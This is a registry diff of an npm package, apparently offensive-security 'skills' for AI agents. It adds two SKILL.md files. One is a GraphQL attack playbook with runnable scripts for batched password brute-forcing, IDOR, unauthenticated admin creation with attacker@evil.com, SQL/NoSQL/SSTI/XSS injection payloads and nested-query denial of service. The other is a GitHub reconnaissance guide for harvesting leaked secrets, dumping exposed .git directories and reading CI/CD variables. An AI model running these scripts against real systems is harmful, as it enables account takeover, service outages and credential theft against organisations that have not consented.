rtexit-method 0.1.16 → 0.1.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-exploit-graphql/SKILL.md +311 -0
- package/packaged-assets/.agents/skills/rt-github-recon/SKILL.md +251 -0
- package/packaged-assets/.agents/skills/rt-iac-misconfig/SKILL.md +250 -0
- package/packaged-assets/.agents/skills/rt-wifi-attacks/SKILL.md +273 -0
- package/packaged-assets/docker/Dockerfile +1324 -0
- package/packaged-assets/docker/README.md +107 -0
- package/packaged-assets/docker/aliases.sh +410 -0
- package/packaged-assets/docker/docker-compose.yml +64 -0
- package/packaged-assets/docker/entrypoint.sh +22 -0
- package/packaged-assets/docker/verify-tools.sh +319 -0
- package/tools/installer/commands/install.js +91 -48
- package/tools/installer/lib/asset-manifest.js +1 -0
- package/tools/installer/lib/profiles.js +33 -1
package/package.json
CHANGED
|
@@ -0,0 +1,311 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-graphql
|
|
3
|
+
description: "GraphQL-specific attack techniques — introspection enumeration, field suggestions bypass, batching attacks (rate limit bypass), nested query DoS, IDOR via GraphQL, injection through arguments, authorization bypass, persisted query exploitation, subscription hijacking. Dedicated skill beyond generic API testing. Tools: graphql-cop, InQL, graphw00f, Burp Suite extensions. Docker: rtexit/kali:v3.0."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
|
|
7
|
+
|
|
8
|
+
# rt-exploit-graphql — GraphQL Security Testing
|
|
9
|
+
|
|
10
|
+
## Overview
|
|
11
|
+
|
|
12
|
+
GraphQL APIs expose a completely different attack surface from REST. A single endpoint handles all operations, introspection reveals the entire schema, and batch queries can bypass rate limiting. Most developers underestimate GraphQL security.
|
|
13
|
+
|
|
14
|
+
**When to use:**
|
|
15
|
+
- Target has GraphQL endpoint (`/graphql`, `/api/graphql`, `/v1/graphql`)
|
|
16
|
+
- Testing a modern web/mobile app with complex data requirements
|
|
17
|
+
- After discovering GraphQL via JS analysis or network traffic
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1: Identify GraphQL Endpoints
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
docker exec rtexit-kali bash -c "
|
|
25
|
+
TARGET=https://target.com
|
|
26
|
+
|
|
27
|
+
# Common GraphQL paths
|
|
28
|
+
for path in /graphql /api/graphql /graphiql /playground /v1/graphql /v2/graphql /query /gql; do
|
|
29
|
+
STATUS=\$(curl -sk -o /dev/null -w '%{http_code}' \"\${TARGET}\${path}\")
|
|
30
|
+
if [ \$STATUS != '404' ]; then
|
|
31
|
+
echo \"[\$STATUS] \${TARGET}\${path}\"
|
|
32
|
+
fi
|
|
33
|
+
done
|
|
34
|
+
|
|
35
|
+
# JavaScript analysis — find GraphQL in frontend code
|
|
36
|
+
docker exec rtexit-kali bash -c \"
|
|
37
|
+
curl -sk \$TARGET | grep -oE '/[a-z/_-]*graphql[a-z/_-]*' | sort -u
|
|
38
|
+
curl -sk \$TARGET | grep -oE 'graphqlUrl|graphqlEndpoint|gqlUrl' | head -10
|
|
39
|
+
\"
|
|
40
|
+
"
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## Phase 2: Introspection — Schema Discovery
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
docker exec rtexit-kali bash -c "
|
|
49
|
+
TARGET=https://target.com/graphql
|
|
50
|
+
|
|
51
|
+
# Full introspection query
|
|
52
|
+
curl -sk \$TARGET \
|
|
53
|
+
-H 'Content-Type: application/json' \
|
|
54
|
+
-d '{\"query\":\"{__schema{types{name,fields{name,type{name,kind,ofType{name,kind}},args{name,type{name,kind,ofType{name,kind}},defaultValue}}}}}\"}' \
|
|
55
|
+
| python3 -m json.tool | head -100
|
|
56
|
+
|
|
57
|
+
# Get all query/mutation names
|
|
58
|
+
curl -sk \$TARGET \
|
|
59
|
+
-H 'Content-Type: application/json' \
|
|
60
|
+
-d '{\"query\":\"{__schema{queryType{fields{name,description}},mutationType{fields{name,description}}}}\"}' \
|
|
61
|
+
| python3 -c \"
|
|
62
|
+
import json,sys
|
|
63
|
+
r = json.load(sys.stdin)
|
|
64
|
+
schema = r.get('data',{}).get('__schema',{})
|
|
65
|
+
print('=== QUERIES ===')
|
|
66
|
+
for f in schema.get('queryType',{}).get('fields',[]):
|
|
67
|
+
print(f' {f[\\\"name\\\"]}: {f.get(\\\"description\\\",\\\"\\\")[:60]}')
|
|
68
|
+
print('=== MUTATIONS ===')
|
|
69
|
+
for f in schema.get('mutationType',{}).get('fields',[]):
|
|
70
|
+
print(f' {f[\\\"name\\\"]}: {f.get(\\\"description\\\",\\\"\\\")[:60]}')
|
|
71
|
+
\"
|
|
72
|
+
"
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
---
|
|
76
|
+
|
|
77
|
+
## Phase 3: graphql-cop — Automated Security Audit
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
docker exec rtexit-kali bash -c "
|
|
81
|
+
# graphql-cop covers: introspection, DoS, injection, CSRF, debug
|
|
82
|
+
python3 /opt/graphql-cop/graphql-cop.py \
|
|
83
|
+
-t https://target.com/graphql \
|
|
84
|
+
-o /tmp/graphql_audit.json 2>/dev/null || \
|
|
85
|
+
graphql-cop -t https://target.com/graphql 2>/dev/null
|
|
86
|
+
|
|
87
|
+
# Parse results
|
|
88
|
+
cat /tmp/graphql_audit.json | python3 -c \"
|
|
89
|
+
import json,sys
|
|
90
|
+
for vuln in json.load(sys.stdin):
|
|
91
|
+
if vuln.get('result'):
|
|
92
|
+
print(f'[VULN] {vuln[\\\"title\\\"]} ({vuln[\\\"severity\\\"]})')
|
|
93
|
+
print(f' {vuln[\\\"description\\\"]}')
|
|
94
|
+
\"
|
|
95
|
+
"
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## Phase 4: InQL — Deep Schema Analysis + Attack
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
docker exec rtexit-kali bash -c "
|
|
104
|
+
TARGET=https://target.com/graphql
|
|
105
|
+
|
|
106
|
+
# Scan with InQL
|
|
107
|
+
inql -t \$TARGET -o /tmp/inql_output/
|
|
108
|
+
|
|
109
|
+
# Generated files:
|
|
110
|
+
ls /tmp/inql_output/
|
|
111
|
+
# *.query — sample queries for every type
|
|
112
|
+
# *.mutation — sample mutations
|
|
113
|
+
# report.html — visual schema map
|
|
114
|
+
|
|
115
|
+
# Use generated queries as testing baseline
|
|
116
|
+
cat /tmp/inql_output/*.query | head -50
|
|
117
|
+
"
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Phase 5: Disable Introspection Bypass
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
docker exec rtexit-kali bash -c "
|
|
126
|
+
TARGET=https://target.com/graphql
|
|
127
|
+
|
|
128
|
+
# If introspection is disabled, use field suggestions
|
|
129
|
+
# GraphQL engines leak type names through suggestions
|
|
130
|
+
|
|
131
|
+
# Test suggestion bypass
|
|
132
|
+
curl -sk \$TARGET \
|
|
133
|
+
-H 'Content-Type: application/json' \
|
|
134
|
+
-d '{\"query\":\"{user{id,emali}}\"}' \
|
|
135
|
+
| grep -i 'did you mean\|suggestion'
|
|
136
|
+
# Output: 'Did you mean \"email\"?' → field exists!
|
|
137
|
+
|
|
138
|
+
# Systematic field enumeration via suggestions
|
|
139
|
+
docker exec rtexit-kali bash -c \"
|
|
140
|
+
for field in id email password token role admin secret hash salt; do
|
|
141
|
+
result=\\\$(curl -sk https://target.com/graphql \\\\
|
|
142
|
+
-H 'Content-Type: application/json' \\\\
|
|
143
|
+
-d '{\\\"query\\\":\\\"{user{'\\\$field'}}\\\"}' \\\\
|
|
144
|
+
| grep -i 'did you mean\|Cannot query field')
|
|
145
|
+
echo \\\"\\\$field: \\\$result\\\"
|
|
146
|
+
done
|
|
147
|
+
\"
|
|
148
|
+
"
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## Phase 6: Batching Attack — Bypass Rate Limiting
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
docker exec rtexit-kali bash -c "
|
|
157
|
+
TARGET=https://target.com/graphql
|
|
158
|
+
|
|
159
|
+
# Array batching — send 1000 queries in single HTTP request
|
|
160
|
+
# Bypasses rate limiting that counts HTTP requests, not GraphQL operations
|
|
161
|
+
|
|
162
|
+
python3 - << 'EOF'
|
|
163
|
+
import json, requests
|
|
164
|
+
|
|
165
|
+
target = 'https://target.com/graphql'
|
|
166
|
+
# Batch 1000 login attempts in ONE request
|
|
167
|
+
batch = [
|
|
168
|
+
{'query': 'mutation { login(email: \"admin@target.com\", password: \"' + pwd + '\") { token } }'}
|
|
169
|
+
for pwd in open('/opt/SecLists/Passwords/top1000.txt').read().splitlines()[:1000]
|
|
170
|
+
]
|
|
171
|
+
|
|
172
|
+
resp = requests.post(target, json=batch,
|
|
173
|
+
headers={'Content-Type': 'application/json'},
|
|
174
|
+
verify=False, timeout=30)
|
|
175
|
+
|
|
176
|
+
for i, result in enumerate(resp.json()):
|
|
177
|
+
if result.get('data', {}).get('login', {}).get('token'):
|
|
178
|
+
print(f'[+] FOUND! Password: {batch[i]}')
|
|
179
|
+
break
|
|
180
|
+
EOF
|
|
181
|
+
"
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 7: IDOR & Authorization Bypass
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
docker exec rtexit-kali bash -c "
|
|
190
|
+
TARGET=https://target.com/graphql
|
|
191
|
+
AUTH_TOKEN=eyJhbGciOiJIUzI1NiJ9... # your session token
|
|
192
|
+
|
|
193
|
+
# Test IDOR — change ID to access other users' data
|
|
194
|
+
for id in 1 2 3 100 999 1000; do
|
|
195
|
+
result=\$(curl -sk \$TARGET \
|
|
196
|
+
-H 'Content-Type: application/json' \
|
|
197
|
+
-H \"Authorization: Bearer \$AUTH_TOKEN\" \
|
|
198
|
+
-d \"{\\\"query\\\": \\\"{user(id: \$id){ id email phone role }}\\\"}\" \
|
|
199
|
+
| python3 -c 'import json,sys; u=json.load(sys.stdin).get(\"data\",{}).get(\"user\",{}); print(u) if u else None')
|
|
200
|
+
echo \"User \$id: \$result\"
|
|
201
|
+
done
|
|
202
|
+
|
|
203
|
+
# Test missing authorization on mutations
|
|
204
|
+
curl -sk \$TARGET \
|
|
205
|
+
-H 'Content-Type: application/json' \
|
|
206
|
+
-H 'Authorization: Bearer LOW_PRIV_TOKEN' \
|
|
207
|
+
-d '{ \"query\": \"mutation { deleteUser(id: 1) { success } }\" }'
|
|
208
|
+
|
|
209
|
+
# Test for admin mutations without auth
|
|
210
|
+
curl -sk \$TARGET \
|
|
211
|
+
-H 'Content-Type: application/json' \
|
|
212
|
+
-d '{ \"query\": \"mutation { createAdmin(email: \"attacker@evil.com\", password: \"pass\") { id token } }\" }'
|
|
213
|
+
"
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
---
|
|
217
|
+
|
|
218
|
+
## Phase 8: Injection via GraphQL Arguments
|
|
219
|
+
|
|
220
|
+
```bash
|
|
221
|
+
docker exec rtexit-kali bash -c "
|
|
222
|
+
TARGET=https://target.com/graphql
|
|
223
|
+
|
|
224
|
+
# SQL injection through arguments
|
|
225
|
+
curl -sk \$TARGET \
|
|
226
|
+
-H 'Content-Type: application/json' \
|
|
227
|
+
-d '{ \"query\": \"{ users(filter: \\\"1 OR 1=1--\\\") { id email password } }\" }'
|
|
228
|
+
|
|
229
|
+
# NoSQL injection (MongoDB)
|
|
230
|
+
curl -sk \$TARGET \
|
|
231
|
+
-H 'Content-Type: application/json' \
|
|
232
|
+
-d '{ \"query\": \"{ user(id: \\\"{\\\\\"\\\\$gt\\\\\": \\\"\\\"}\\\") { email password } }\" }'
|
|
233
|
+
|
|
234
|
+
# SSTI in arguments
|
|
235
|
+
curl -sk \$TARGET \
|
|
236
|
+
-H 'Content-Type: application/json' \
|
|
237
|
+
-d '{ \"query\": \"{ search(query: \\\"{{7*7}}\\\") { results } }\" }'
|
|
238
|
+
# If response contains 49 → SSTI
|
|
239
|
+
|
|
240
|
+
# XSS stored via GraphQL mutation
|
|
241
|
+
curl -sk \$TARGET \
|
|
242
|
+
-H 'Content-Type: application/json' \
|
|
243
|
+
-d '{ \"query\": \"mutation { updateProfile(bio: \\\"<script>alert(1)</script>\\\") { id } }\" }'
|
|
244
|
+
"
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
## Phase 9: Nested Query DoS (Depth Attack)
|
|
250
|
+
|
|
251
|
+
```bash
|
|
252
|
+
docker exec rtexit-kali bash -c "
|
|
253
|
+
TARGET=https://target.com/graphql
|
|
254
|
+
|
|
255
|
+
# Generate deeply nested query — can crash servers without depth limiting
|
|
256
|
+
python3 - << 'EOF'
|
|
257
|
+
import requests
|
|
258
|
+
|
|
259
|
+
depth = 50
|
|
260
|
+
query = '{ user { ' + 'friends { ' * depth + 'id name' + '}' * depth + '} }'
|
|
261
|
+
|
|
262
|
+
resp = requests.post('https://target.com/graphql',
|
|
263
|
+
json={'query': query},
|
|
264
|
+
headers={'Content-Type': 'application/json'},
|
|
265
|
+
verify=False, timeout=10)
|
|
266
|
+
|
|
267
|
+
print(f'Status: {resp.status_code}')
|
|
268
|
+
print(f'Response size: {len(resp.content)} bytes')
|
|
269
|
+
print(resp.json())
|
|
270
|
+
EOF
|
|
271
|
+
"
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
---
|
|
275
|
+
|
|
276
|
+
## Phase 10: Persisted Query Exploitation
|
|
277
|
+
|
|
278
|
+
```bash
|
|
279
|
+
docker exec rtexit-kali bash -c "
|
|
280
|
+
TARGET=https://target.com/graphql
|
|
281
|
+
|
|
282
|
+
# Find persisted query IDs
|
|
283
|
+
curl -sk \$TARGET \
|
|
284
|
+
-H 'Content-Type: application/json' \
|
|
285
|
+
-d '{ \"extensions\": { \"persistedQuery\": { \"version\": 1, \"sha256Hash\": \"KNOWN_HASH\" } } }'
|
|
286
|
+
|
|
287
|
+
# Abuse persisted queries to access admin functions
|
|
288
|
+
# If server stores queries by hash — inject your own
|
|
289
|
+
MALICIOUS_QUERY='{ users { id email password role } }'
|
|
290
|
+
HASH=\$(echo -n \"\$MALICIOUS_QUERY\" | sha256sum | awk '{print \$1}')
|
|
291
|
+
|
|
292
|
+
# Register and execute
|
|
293
|
+
curl -sk \$TARGET \
|
|
294
|
+
-H 'Content-Type: application/json' \
|
|
295
|
+
-d \"{\\\"query\\\": \\\"\$MALICIOUS_QUERY\\\", \\\"extensions\\\": {\\\"persistedQuery\\\": {\\\"version\\\": 1, \\\"sha256Hash\\\": \\\"\$HASH\\\"}}}\"
|
|
296
|
+
"
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## Related Skills
|
|
302
|
+
- `rt-exploit-api` — REST API testing methodology
|
|
303
|
+
- `rt-exploit-injection` — injection via GraphQL arguments
|
|
304
|
+
- `rt-exploit-idor` — IDOR through GraphQL object access
|
|
305
|
+
- `rt-js-analysis` — find GraphQL schema from JS bundles
|
|
306
|
+
|
|
307
|
+
## References
|
|
308
|
+
- https://github.com/dolevf/graphql-cop
|
|
309
|
+
- https://github.com/nicowillis/inql
|
|
310
|
+
- https://attack.mitre.org/techniques/T1190/ — Exploit Public-Facing Application
|
|
311
|
+
- https://graphql.org/learn/introspection/
|
|
@@ -0,0 +1,251 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-github-recon
|
|
3
|
+
description: "GitHub/GitLab/Bitbucket reconnaissance and secret exposure — find leaked API keys, tokens, passwords, internal hostnames, source code from exposed repos. Covers: org enumeration, trufflehog scanning, gitleaks, exposed .git directories (git-dumper), GitHub dorks, GitLab self-hosted enumeration, CI/CD secrets in pipelines. Critical recon step for any org with a GitHub presence. Docker: rtexit/kali:v3.0."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`
|
|
7
|
+
|
|
8
|
+
# rt-github-recon — Source Code & Secret Exposure via Git Platforms
|
|
9
|
+
|
|
10
|
+
## Overview
|
|
11
|
+
|
|
12
|
+
GitHub is a goldmine. Organizations accidentally commit API keys, internal hostnames, credentials, infrastructure code, and proprietary algorithms. Even "private" repos often have leaked secrets that were committed before being removed — git history never forgets.
|
|
13
|
+
|
|
14
|
+
**When to use:**
|
|
15
|
+
- Phase 1 Recon against any target with a developer team
|
|
16
|
+
- Before web/API testing — find endpoints and keys in source
|
|
17
|
+
- Before cloud testing — find AWS/Azure credentials
|
|
18
|
+
- Find internal infrastructure details (server names, IPs, CI/CD configs)
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## Phase 1: Organization Discovery
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
docker exec rtexit-kali bash -c "
|
|
26
|
+
TARGET_ORG=target-company
|
|
27
|
+
|
|
28
|
+
# Find GitHub org
|
|
29
|
+
curl -s 'https://api.github.com/search/users?q=type:org+${TARGET_ORG}' \
|
|
30
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | python3 -m json.tool
|
|
31
|
+
|
|
32
|
+
# List all public repos in org
|
|
33
|
+
curl -s 'https://api.github.com/orgs/${TARGET_ORG}/repos?per_page=100&type=all' \
|
|
34
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
35
|
+
python3 -c 'import json,sys; [print(r[\"clone_url\"]) for r in json.load(sys.stdin)]'
|
|
36
|
+
|
|
37
|
+
# Find employees by org membership
|
|
38
|
+
curl -s 'https://api.github.com/orgs/${TARGET_ORG}/members?per_page=100' \
|
|
39
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
40
|
+
python3 -c 'import json,sys; [print(m[\"login\"]) for m in json.load(sys.stdin)]'
|
|
41
|
+
"
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Phase 2: GitHub Dorks — Find Exposed Secrets
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
docker exec rtexit-kali bash -c "
|
|
50
|
+
# Search for secrets using GitHub code search API
|
|
51
|
+
TOKEN=YOUR_GITHUB_TOKEN
|
|
52
|
+
ORG=target-company
|
|
53
|
+
|
|
54
|
+
# Common dorks (search one at a time — rate limits)
|
|
55
|
+
dorks=(
|
|
56
|
+
'org:${ORG} password'
|
|
57
|
+
'org:${ORG} secret'
|
|
58
|
+
'org:${ORG} api_key'
|
|
59
|
+
'org:${ORG} AWS_SECRET_ACCESS_KEY'
|
|
60
|
+
'org:${ORG} BEGIN RSA PRIVATE KEY'
|
|
61
|
+
'org:${ORG} .env'
|
|
62
|
+
'org:${ORG} database_url'
|
|
63
|
+
'org:${ORG} jdbc:mysql'
|
|
64
|
+
'org:${ORG} mongodb+srv'
|
|
65
|
+
'org:${ORG} Authorization: Bearer'
|
|
66
|
+
'org:${ORG} slack_token'
|
|
67
|
+
'org:${ORG} PRIVATE KEY'
|
|
68
|
+
'org:${ORG} internal.company.com'
|
|
69
|
+
)
|
|
70
|
+
|
|
71
|
+
for dork in \"\${dorks[@]}\"; do
|
|
72
|
+
echo \"=== Dork: \$dork ===\"
|
|
73
|
+
curl -s \"https://api.github.com/search/code?q=\$(python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))' \"\$dork\")&per_page=10\" \
|
|
74
|
+
-H \"Authorization: token \$TOKEN\" | python3 -c \"
|
|
75
|
+
import json,sys
|
|
76
|
+
r = json.load(sys.stdin)
|
|
77
|
+
for item in r.get('items', []):
|
|
78
|
+
print(' ', item['repository']['full_name'], '→', item['path'])
|
|
79
|
+
\"
|
|
80
|
+
sleep 2 # respect rate limits
|
|
81
|
+
done
|
|
82
|
+
"
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## Phase 3: trufflehog — Deep Secret Scan
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
docker exec rtexit-kali bash -c "
|
|
91
|
+
ORG=target-company
|
|
92
|
+
|
|
93
|
+
# Scan all public repos in org
|
|
94
|
+
trufflehog github --org=\$ORG \
|
|
95
|
+
--token=YOUR_GITHUB_TOKEN \
|
|
96
|
+
--json \
|
|
97
|
+
--only-verified \
|
|
98
|
+
2>/dev/null | tee /tmp/trufflehog_results.json
|
|
99
|
+
|
|
100
|
+
# Parse results
|
|
101
|
+
cat /tmp/trufflehog_results.json | python3 -c \"
|
|
102
|
+
import json, sys
|
|
103
|
+
for line in sys.stdin:
|
|
104
|
+
try:
|
|
105
|
+
r = json.loads(line)
|
|
106
|
+
print(f'[SECRET] {r.get(\"DetectorName\")}: {r.get(\"Raw\", \"\")[:50]}')
|
|
107
|
+
print(f' Repo: {r.get(\"SourceMetadata\", {}).get(\"Data\", {}).get(\"Github\", {}).get(\"repository\")}')
|
|
108
|
+
print(f' File: {r.get(\"SourceMetadata\", {}).get(\"Data\", {}).get(\"Github\", {}).get(\"file\")}')
|
|
109
|
+
except: pass
|
|
110
|
+
\"
|
|
111
|
+
|
|
112
|
+
# Also scan specific repo including git history
|
|
113
|
+
trufflehog git https://github.com/\$ORG/target-repo \
|
|
114
|
+
--token=YOUR_GITHUB_TOKEN \
|
|
115
|
+
--json \
|
|
116
|
+
--only-verified 2>/dev/null
|
|
117
|
+
"
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Phase 4: gitleaks — Scan Cloned Repos
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
docker exec rtexit-kali bash -c "
|
|
126
|
+
ORG=target-company
|
|
127
|
+
mkdir -p /tmp/repos
|
|
128
|
+
|
|
129
|
+
# Clone all repos
|
|
130
|
+
for repo in \$(curl -s 'https://api.github.com/orgs/'\$ORG'/repos?per_page=100' \
|
|
131
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
132
|
+
python3 -c 'import json,sys; [print(r[\"clone_url\"]) for r in json.load(sys.stdin)]'); do
|
|
133
|
+
git clone --depth 100 \$repo /tmp/repos/\$(basename \$repo .git) 2>/dev/null
|
|
134
|
+
done
|
|
135
|
+
|
|
136
|
+
# Scan all with gitleaks
|
|
137
|
+
gitleaks detect \
|
|
138
|
+
--source /tmp/repos/ \
|
|
139
|
+
--report-path /tmp/gitleaks_report.json \
|
|
140
|
+
--report-format json \
|
|
141
|
+
--no-banner \
|
|
142
|
+
2>/dev/null
|
|
143
|
+
|
|
144
|
+
# Parse
|
|
145
|
+
cat /tmp/gitleaks_report.json | python3 -m json.tool | \
|
|
146
|
+
grep -A5 'RuleID\|Secret\|File\|Commit'
|
|
147
|
+
"
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## Phase 5: Exposed .git Directories on Web Servers
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
docker exec rtexit-kali bash -c "
|
|
156
|
+
TARGET=https://target.com
|
|
157
|
+
|
|
158
|
+
# Check if .git is exposed
|
|
159
|
+
curl -s \${TARGET}/.git/HEAD | grep -i 'ref:'
|
|
160
|
+
curl -s \${TARGET}/.git/config
|
|
161
|
+
|
|
162
|
+
# If exposed — dump entire repository
|
|
163
|
+
git-dumper \${TARGET}/.git /tmp/git_dump/
|
|
164
|
+
ls /tmp/git_dump/
|
|
165
|
+
|
|
166
|
+
# Find secrets in dumped code
|
|
167
|
+
grep -r 'password\|secret\|api_key\|token\|AKIA' /tmp/git_dump/ --include='*.py' --include='*.js' --include='*.env' --include='*.yml'
|
|
168
|
+
"
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Phase 6: GitLab Self-Hosted Enumeration
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
docker exec rtexit-kali bash -c "
|
|
177
|
+
GITLAB_URL=https://gitlab.internal.company.com
|
|
178
|
+
|
|
179
|
+
# Check GitLab version (unauthenticated)
|
|
180
|
+
curl -s \${GITLAB_URL}/api/v4/version 2>/dev/null | python3 -m json.tool
|
|
181
|
+
|
|
182
|
+
# Enumerate public projects (no auth needed)
|
|
183
|
+
curl -s '\${GITLAB_URL}/api/v4/projects?visibility=public&per_page=100' | \
|
|
184
|
+
python3 -c 'import json,sys; [print(p[\"web_url\"]) for p in json.load(sys.stdin)]'
|
|
185
|
+
|
|
186
|
+
# With auth token
|
|
187
|
+
curl -s '\${GITLAB_URL}/api/v4/projects?per_page=100&membership=true' \
|
|
188
|
+
-H 'PRIVATE-TOKEN: GITLAB_TOKEN' | \
|
|
189
|
+
python3 -c 'import json,sys; [print(p[\"http_url_to_repo\"]) for p in json.load(sys.stdin)]'
|
|
190
|
+
|
|
191
|
+
# Find CI/CD variables (often has cloud credentials)
|
|
192
|
+
curl -s '\${GITLAB_URL}/api/v4/groups/TARGET_GROUP/variables' \
|
|
193
|
+
-H 'PRIVATE-TOKEN: GITLAB_TOKEN'
|
|
194
|
+
"
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## Phase 7: CI/CD Pipeline Secret Hunting
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
docker exec rtexit-kali bash -c "
|
|
203
|
+
# Find GitHub Actions workflows with secrets
|
|
204
|
+
ORG=target-company
|
|
205
|
+
|
|
206
|
+
# List all workflow files
|
|
207
|
+
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+filename:.yml+path:.github/workflows' \
|
|
208
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
209
|
+
python3 -c \"
|
|
210
|
+
import json,sys
|
|
211
|
+
for item in json.load(sys.stdin).get('items', []):
|
|
212
|
+
print(item['repository']['full_name'], '->', item['path'])
|
|
213
|
+
\"
|
|
214
|
+
|
|
215
|
+
# Look for hardcoded secrets in workflow files
|
|
216
|
+
# Common patterns: curl with Bearer, aws configure, secrets leak
|
|
217
|
+
"
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## Phase 8: Find Internal Hostnames & Infrastructure
|
|
223
|
+
|
|
224
|
+
```bash
|
|
225
|
+
docker exec rtexit-kali bash -c "
|
|
226
|
+
ORG=target-company
|
|
227
|
+
|
|
228
|
+
# Search for internal hostnames in code
|
|
229
|
+
for pattern in 'internal\.' 'corp\.' 'staging\.' 'dev\.' '10\.0\.' '192\.168\.'; do
|
|
230
|
+
echo \"=== Searching: \$pattern ===\"
|
|
231
|
+
curl -s \"https://api.github.com/search/code?q=org:\${ORG}+\$(python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))' \"\$pattern\")&per_page=5\" \
|
|
232
|
+
-H 'Authorization: token YOUR_GITHUB_TOKEN' | \
|
|
233
|
+
python3 -c \"import json,sys; r=json.load(sys.stdin); [print(' ', i['repository']['full_name'], '->', i['path']) for i in r.get('items',[])]\"
|
|
234
|
+
sleep 2
|
|
235
|
+
done
|
|
236
|
+
"
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## Related Skills
|
|
242
|
+
- `rt-osint` — broader OSINT methodology
|
|
243
|
+
- `rt-active-recon` — follow up with active scanning on found infrastructure
|
|
244
|
+
- `rt-credential-hunt` — use found credentials to access systems
|
|
245
|
+
- `rt-supply-chain` — use found code to analyze dependencies
|
|
246
|
+
|
|
247
|
+
## References
|
|
248
|
+
- https://github.com/trufflesecurity/trufflehog
|
|
249
|
+
- https://github.com/gitleaks/gitleaks
|
|
250
|
+
- https://github.com/arthaud/git-dumper
|
|
251
|
+
- https://attack.mitre.org/techniques/T1213/ — Data from Information Repositories
|